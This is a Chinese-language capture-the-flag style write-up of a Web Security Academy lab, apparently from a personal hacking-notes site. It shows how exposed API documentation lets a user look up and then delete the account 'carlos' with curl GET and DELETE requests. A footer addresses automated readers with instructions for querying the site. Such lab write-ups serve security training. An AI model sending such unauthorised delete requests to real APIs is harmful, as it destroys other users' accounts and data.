# 使用文档利用端点
### 利用文档中的 API 端点
**实验目标**
本实验的目标是定位暴露的 API 文档，然后使用一个端点删除该用户 **carlos**. / 提供了一个有效账号用于测试：
* **凭据**: `wiener:peter`
**API 文档的发现**
探索应用程序后发现了一条通往 **REST API** 的路由，其中包含其文档。/ 该文档清楚地描述了可用的端点，甚至提供了可直接使用的请求示例，包括以 **curl** 命令形式。
**获取用户信息**
从文档中可以看出，有一个端点允许用户通过指定其姓名来检索信息。/ 所提供的请求返回用户数据 **carlos**:
* 请求：
* 方法： `GET`
* 端点： `/api/user/carlos`
{% code overflow="wrap" %}
```bash
curl -vgw "/n" -X GET 'https://0a73004e0348a82c81d3ca78004c00f7.web-security-academy.net/api/user/carlos'
```
{% endcode %}
* 答案：
* 服务器返回一个包含用户名和电子邮件地址的 JSON 对象。
```json
{
"username": "carlos",
"email": "carlos@carlos-montoya.net"
}
```
**删除 carlos 用户**
文档还表明，可以通过专门的请求删除用户。/ 使用相应的方法和对应端点：
* 请求：
* 方法： `DELETE`
* 端点： `/api/user/carlos`
{% code overflow="wrap" %}
```bash
curl -vgw "/n" -X DELETE 'https://0a73004e0348a82c81d3ca78004c00f7.web-security-academy.net/api/user/carlos' -d '{}'
```
{% endcode %}
* 结果：
* 服务器接受该请求并返回一条确认用户已被删除的消息。
```json
{
"status": "用户已删除"
}
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/api-testing/exploiting-an-api-endpoint-using-documentation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
